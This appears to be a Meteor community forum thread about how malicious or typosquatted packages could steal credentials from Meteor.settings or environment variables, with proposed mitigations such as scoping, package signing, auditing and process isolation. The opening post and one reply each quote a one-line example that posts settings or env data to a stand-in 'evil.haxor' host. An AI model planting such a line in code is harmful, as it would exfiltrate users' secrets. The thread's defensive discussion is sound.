Proposal: Improving Meteor.settings security

With the current Meteor.settings model there’s a huge dilemma wether it’s secure to use third party packages. It is pretty obvious that granting access to the settings object all over the system makes credentials data vulnerable to really trivial attacks as described here:

I think that this thread on StackOverflow hasn’t received enough attention from the community so I was hoping it might be wise to bring it to the public one more time.

Long story short, the author of the posts observes that the malicious attacker may still our precious data by inserting the following line of code within a smart package source code:

HTTP.post('http://evil.haxor', Meteor.settings)

It’s arguable if this is a serious risk and what are the odds a scenario like this may happen in real live. I understand that the community is al about trust and responsibility. But imagine - maybe you are a package author - a situation when someone stoles your meteor development account credentials and publishes an infected version of the smart package on your behalf. It would be a total disaster which we would all like to avoid, right? Another scenario: an attacker creates a package whose name differs by only one letter from the original one. Impossibru? Please take into account that some of us uses really funny nicknames, and it’s really easy to make a spelling error there. Imagine further that the guy (attacker) sets it’s state to “unmigrated” so the package is not visible on the atmosphere and it’s not easy to detect something wrong is going here and flag the package before it’s too late.

There must be some way out of here. The solution is - in my opinion - using the function scopes of individual files to include sensitive data locally with selected files only. And hey! We’re using this exact technique already:

https://github.com/meteor/meteor/blob/devel/tools/server/boot.js#L205

but for a different purpose. So why not put a Settings object on the list as well and only allow accessing sensitive - private - settings from the application context, and not smart packages context.

Yeah, I know what you may think. What if a smart package requires access to the Meteor.settings object. Well, there are some ways to workaround that of course to ensure backward compatibility. Though - in my opinion - no package should actually require access to the settings implicitly and this can be easily avoided by exposing a config routine that may be called by users of the package. From my experience most packages are doing this anyway, so that’s it. There’s no real need to expose settings to the packages implicitly.

All this said, I’m curious what to you guys think. It’s quite clear this level of security cannot be achieved without direct actions from MDG and updates to the meteor core rather than creating a dedicated package. I think the changes would not have to be huge and the only dilemma is how to keep the backward compatibility in a reasonable and secure way.

3 Likes

I don’t think my answer to this has changed at all:

As far as I can tell, what you’re talking about is actually impossible, and it would be misleading for us to claim that Meteor can fix it with any amount of code. It’s also a problem common to pretty much every piece of code you run on your computer.

Quote of my answer:

Any package you install from any package manager including NPM, Ruby Gems, and the Meteor package server can run arbitrary code on your computer as your user, including using the fs module to read and write files, accessing the network to send and receive data, etc.

In fact, you place the same trust in the developer whenever you install an application from the internet - almost any application on your computer could read your settings.json file, for example Dropbox, Chrome, etc.

Therefore, there is no way to completely secure the settings.json file from package code. The only way to be sure that packages are safe is to use only community-approved packages or read the source code of the packages you are using.

3 Likes

I just got a great idea to write a package that does:

HTTP.post('http://evil.haxor', Process.env)

Then I will take your MONGO_URL and steal your datas!

:hear_no_evil: :see_no_evil: :speak_no_evil:

2 Likes

Yeah this is another example. I think it really comes down to having to trust the code you are running, which actually turns out to be quite hard: https://www.ece.cmu.edu/~ganger/712.fall02/papers/p761-thompson.pdf

BTW, guess what’s the name of the “official” fontawesome package on the atmosphere:

https://atmospherejs.com/fortawesome/fontawesome

Is it fontawesome:fontawesome? No, wait … it’s fortawesome ..., yay!

I see what you did there with that name @dandv :wink: but does anyone have any idea who’s the owner of “fontawesome” account? Any idea how many people would try to install fontawesome:fontawesome before they realize this is actually “not-the-official” version of the package? I am not using this example to advocate my proposal about the Settings object - I get your point guys - just wanted to give some heads-up before we see bad things happening in our packages ecosystem.

1 Like

I think this is a great idea, but I think I’m right in saying there is no formal approval process for community packages? The atmosphere “flag” doesn’t quite cut the mustard for this use case, and the current alternative (trawl through the forums or crater in an attempt to research package quality) is not really practical. Reading the source code probably has the most potential for clarity, but the effort can be considerable (especially if the package is not written in your preferred language). I struggle reading coffeescript. Some will struggle reading annotation in a non-native language (if it’s even there).

So, how to provide a clear “Community Approved” badge on packages?

well @sashko this is actually a problem I met at university.

You are right, this problem has no solution with the current technology. It’s not computable. And I also admit I don’t fully understand @apendua 's solution.

Anyhow couldn’t source signing solve this? If we hash the compiled javascript, and provide cryptographically signed packages, then we could greatly mitigate this.

Hashing would be used to check app authenticity (no injections), while signatures would be used to check packages authority (no man in the middle attack). Much like commercial software anti piracy systems.

2 Likes

I think we are long overdue in baking a comment system into atmosphere, just like the one we discussed for the official documentation over at Good drop-in comment system for docs.meteor.com

Current state of starring/flagging indicates lack of interest in community vetting. The community also seems reluctant in going over to github to read/post issues. (hello packages with no github link!)

But once we introduce a drop-in rich-commenting system, it would increase engagement IMHO.

1 Like

This is not a problem. If you adding anything into your app. Make sure to audit them. Atmosphere ranking, rating is the only solution for this.

Even if we play hard to protect this via APIs. But all packages share the same memory. Even if we fixed it with some sort of v8 isolate kind of thing. Still the package has full app’s permission. So, you can’t hide anything. Or at least this is not how it’s done in JS.

1 Like

@arunoda , consider this scenario:

  1. I add an audited package

  2. The package dynamically load something from the author server ( css? fonts? polyfills?)

  3. The author account is stolen

  4. Malicious code is hot pushed to me.

Cryptography and hashing at least would eliminate this scenario.

p.s.: Auditing software can be done, but you can never be sure. OpenSSH is an example.

2 Likes

@arunoda You can audit once, but can you audit every single update, or every single dependency? In my opinion the complexity is too big here.

@muaddib Cryptographically signing packages sounds like an idea but it only works assuming there’s some reasonable private-keys management system (e.g. multiple authors cannot really share the same private-key) and it only introduces another security hole in my opinion.

@apendua an author would have to create a private key. It’s really easy, you can do it from the browser, in one click.

For linux packages this is mandatory, since this already happened in the past. Maybe we could copy their approach?

@muaddib Yeah, I know that. What I meant was “public-key” management because the packaging server needs to know which keys are allowed and which are not. I understand this is conceptually easy to implement, though if someone breaks into my account they can still add their key, or replace mine with theirs and publish a new version before me realizing that something went wrong.

Man, I think I am really becoming paranoid right now. The truth is, there’s no perfect solution and the best thing is not to let anyone break into your account I guess :slight_smile:

@apendua @muaddib

I didn’t suggest it’s the only way :smile:
That’s the atleast the best solution.

But that’s not my point. Securing packages in a this way is not going to work.

Hmm… it seems like we’re trying to answer the wrong question.

We can agree that it’s probably impossible to safely isolate data within the one process; As such, there’s no way to isolate Meteor.settings or process.env from package authors with nefarious goals.

However, architectures exists, that limit the damage done by a compromised process. Usually, by splitting sensitive tasks in to separate services/processes. (And perhaps separating those processes further by chroot, cgroups, or virtualisation).

For example, web servers can prevent their private keys being stolen from memory (Heartbleed), if they offload signing of requests to a separate process; and correctly isolate the main process from accessing the .key files (with something like SELinux).

A compromised web-process may be capable of monitoring un-encrypted traffic, but it wont be able to exfiltrate the private key, which an attacker could then use to start illegitimate servers.

Likewise, if you’ve got any seriously sensitive keys, don’t put them in Meteor.settings, put them in a separate process, and call the services you need using some message queue.

Oh - and if anyone is suggesting you can have your MONGO_URL stolen. Get real! you should have those servers firewalled so it would be useless outside your cluster of web/client servers!

TLDR; With untrusted code / exploits, there’s a difference between “doing bad things”, and “exfiltrating your keys”. You can stop the latter by:

  • putting sensitive keys in separate processes/services; Call via message queue/passing.
  • Isolate processes from each other with (docker/chroot/virtualisations), user/group, and SELinux.
  • Where these aren’t possible, use ephemeral keys

For MDG Maybe it would help to build a few “microservice” like meteor apps, communicating with DDP, and see what issues arise in the architecture/design.

Seeing as my Meteor apps were started around v0.6, I went off the beaten track, and built my services around Celery/Python; but this kind of sucks if you want to stay in the NodeJS/Meteor world.

Re: preventing HTTP.post, could you also whitelist with iptables outgoing connections to just the services you use, eg analytics domain, S3 upload domain, etc? (if client requests including websockets count as incoming?)

Re: hashing and signatures, it would be great to have them baked into Atmosphere, along with a company that was paid to audit package updates. They could have a CI-like readme badge that said which was the most recently-audited version, and a link to sponsor the auditing process of that package.

Is it fontawesome:fontawesome? No, wait … it’s fortawesome…, yay!

Just to clarify this: https://atmospherejs.com/fontawesome is squatted by someone, and I have no idea who they area. I asked for the namespace back in November 2014, but nobody stepped up. MDG wouldn’t disclose to @splendido or I in who the owner was, probably to respect their privacy. We’d still love to get in touch with them, if perhaps @sashko can help forward an email.

The only recourse was to create another MD account / Atmosphere namespace, so I picked the official name on GitHub for Font-Awesome, which is Fort Awesome.

Other that, I fully agree with the security concerns. The package repository contains code published by the package author, which can be completely different from what’s on GitHub. An attacker could link to GitHub code that passes security audits, but when you install their package, it pulls code from Atmosphere that has just been updated with a patch level (so the version number doesn’t have to increase) to do something malicious.